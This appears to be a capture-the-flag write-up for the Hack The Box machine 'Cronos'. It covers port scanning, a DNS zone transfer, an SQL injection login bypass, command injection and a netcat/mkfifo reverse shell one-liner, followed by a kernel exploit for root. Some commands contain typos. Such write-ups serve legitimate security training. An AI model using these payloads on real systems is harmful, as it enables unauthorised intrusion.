Target machine: linux)

Kali linux:


Firstly, detect the open ports:

nmap -sT -p- --min-rate 10000 -oA openports


3 ports is open, detect the detailed services:

namp -sV -sC -p22.53.80 -Pn -oA services


So we can conduct the relation of ports of ports and services as following:

port service
53 DNS
22 ssh
80 http



As the target machine provides http service, try to access


Default apache web page, nothing new. So try to brute force with dirbuster. After brute force for a period time, we have not found anything new.


As the target machine owns DNS service. It is common to check zone transfer with dig. As we can have a guess of the dns domain of cronos.htb. So zone transfer can be checked by:

dig axfr @ cronos.htb


An interestring domain name admin.cronos.htb is found. So add an entry into /etc/hosts:    admin.cronos.htb

Try to access admin.cronos.htb in the browser, a login web page is displayed. Yep, it is what we want. It seems that the login is quite simple. Try to login with sql injection with the username of admin ' or '1' = '1, the password can be anything.



Magic! We are in. It seems that it is a network tool. However, it seems that it has exposed the ability to execute command remotely. Have a test of 8888&whoami:


The result is www-data. Obviously, the command can executed properly. Now try to reverse the shell. Try to listen to port 1234 by nc in our kali:

nc -lvnp 1234

Then use the bash reverse shell command:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f

Wait for server second, shell is return. Wonderful!


Try to obtain a tty terminal:

python -c "import pty;pty.spawn('/bin/sh')"

Obviously, the user role can be obtained. Go the home folder and ls, then go into the user folder to get user.txt.

Privilege escalation

It’s time to get the root role. See the kernel of the target machine:

uname -a

Google linux kernel privilege escalation, find a payload


Server a http server to provide the payload, name it as exploit.c:

pythoon -m SimpleHTTPServer 80

There are serveal ways to provide http file services, including: php, apache, python, etc. Pyhton is quite convinient. Then download the exploit.c in the target machine:


Then try to compile it with gcc. Opps, gcc seems has not been installed in the target machine. In general, linux will install gcc. Whatever, compile the exploit.c in kali:

gcc exploit.c -o exploit

Remember to download the file from a folder with permission, just like /tmp:

cd /tmp

Make sure to have execution perssion by:

chmod +x exploit

Just execute it by ./exploit. Wow, now see whoami.



The target machine is quite straitforward. The basic point is the zone transfer of DNS exploit. And other steps is not difficult with basic knowledges including: sql injection, reverse shell, etc.